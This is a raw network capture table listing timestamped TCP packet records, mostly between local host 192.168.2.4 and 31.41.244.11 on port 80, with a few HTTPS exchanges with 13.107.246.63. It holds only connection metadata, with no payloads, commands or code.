Nov 23, 2024 03:21:11.615545034 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.615603924 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.615648985 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.616662979 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.616708994 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.616744041 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.616785049 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.617773056 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.617835999 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.617868900 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.617913008 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.618901014 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.618947983 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.619008064 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.619049072 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.620071888 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.620115042 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.620147943 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.620192051 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.621190071 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.621237040 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.621277094 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.621316910 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.622322083 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.622369051 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.622426033 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.622471094 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.623457909 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.623506069 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.623550892 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.623596907 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.624598980 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.624644041 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.624686956 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.624732018 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.625735044 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.625782013 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.625835896 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.625880957 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.626936913 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.627007961 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.627007961 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.627052069 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.628050089 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.628113985 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.628149986 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.628199100 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.629180908 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.629228115 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.629297972 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.629340887 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.630306005 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.630358934 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.630417109 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.630459070 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.631455898 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.631510019 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.631551027 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.631594896 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.632600069 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.632643938 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.632709026 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.632751942 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.633722067 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.633764029 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.633826971 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.633869886 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.634864092 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.634910107 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.634960890 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.635004044 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.636020899 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.636070013 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.636111975 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.636154890 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.637166977 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.637212992 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.637222052 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.637264967 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.638221979 CET	443	49765	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:11.638267994 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.638305902 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.638377905 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.638420105 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.638641119 CET	49765	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:11.638653040 CET	443	49765	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:11.639034033 CET	49765	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:11.639039993 CET	443	49765	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:11.639352083 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.639400959 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.664535999 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:11.664849043 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:11.664880991 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:11.665220976 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:11.665227890 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:11.780910015 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.780965090 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.781090021 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.781137943 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.781506062 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.781549931 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.781682968 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.781728983 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.781760931 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.781802893 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.782787085 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.782833099 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.782900095 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.782941103 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.783934116 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.783977032 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.784035921 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.784079075 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.785083055 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.785125971 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.785197020 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.785238028 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.786209106 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.786252022 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.786303043 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.786353111 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.787349939 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.787395000 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.787458897 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.787503958 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.788486958 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.788554907 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.788574934 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.788624048 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.789618969 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.789664030 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.789730072 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.789772987 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.790760040 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.790801048 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.790851116 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.790896893 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.791896105 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.791938066 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.792002916 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.792042971 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.793032885 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.793078899 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.793144941 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.793193102 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.794173956 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.794214010 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.794281006 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.794321060 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.795346975 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.795392036 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.795430899 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.795476913 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.796443939 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.796489954 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.796549082 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.796591043 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.797619104 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.797677994 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.797744036 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.797792912 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.798732996 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.798772097 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.798811913 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.798861980 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.799855947 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.799895048 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.799967051 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.800003052 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.801050901 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.801090002 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.801110029 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.801156998 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.802156925 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.802202940 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.802278996 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.802319050 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.803278923 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.803330898 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.803426027 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.803468943 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.804425001 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.804475069 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.804514885 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.804555893 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.805557013 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.805599928 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.805666924 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.805711985 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.806713104 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.806760073 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.806796074 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.806842089 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.807852983 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.807895899 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.807974100 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.808017015 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.808976889 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.809017897 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.809087038 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.809132099 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.810183048 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.810220003 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.810307980 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.810344934 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.811300039 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.811352968 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.811372995 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.811414003 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.812402010 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.812439919 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.812505960 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.812547922 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.813534975 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.813576937 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.813647032 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.813683987 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.814666986 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.814706087 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.814718962 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.814749002 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.815825939 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.815871954 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.815970898 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.816008091 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.816943884 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.816982031 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.817050934 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.817089081 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.818085909 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.818130970 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.818218946 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.818259954 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.819225073 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.819268942 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.819323063 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.819367886 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.820373058 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.820414066 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.820475101 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.820518970 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.821507931 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.821552038 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.821615934 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.821655035 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.822624922 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.822665930 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.822732925 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.822779894 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.823807955 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.823856115 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.823935986 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.823973894 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.824918032 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.824959993 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.825023890 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.825067043 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.826092958 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.826164007 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.826179981 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.826196909 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.827197075 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.827239990 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.827296019 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.827332020 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.828346968 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.828389883 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.828452110 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.828493118 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.829474926 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.829521894 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.829603910 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.829642057 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.830616951 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.830662966 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.830738068 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.830779076 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.831763029 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.831809998 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.831881046 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.831917048 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.832880020 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.832921982 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.832940102 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.832977057 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.834033012 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.834068060 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.834132910 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.834170103 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.835153103 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.835189104 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.835192919 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.835268021 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.836309910 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.836352110 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.836412907 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.836452007 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.837460041 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.837501049 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.837558031 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.837596893 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.838587999 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.838633060 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.838694096 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.838732958 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.839721918 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.839764118 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.839812994 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.839855909 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.954502106 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:11.954576969 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:11.954624891 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:11.954808950 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:11.954828024 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:11.954837084 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:11.954843044 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:11.957865953 CET	49767	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:11.957884073 CET	443	49767	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:11.957961082 CET	49767	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:11.958110094 CET	49767	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:11.958117008 CET	443	49767	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:11.982794046 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.982841969 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.982844114 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.982882977 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.983252048 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.983297110 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.983391047 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.983453035 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.984366894 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.984419107 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.984456062 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.984500885 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.985531092 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.985574007 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.985605001 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.985647917 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.986664057 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.986716986 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.986773014 CET	80	49760	31.41.244.11	192.168.2.4
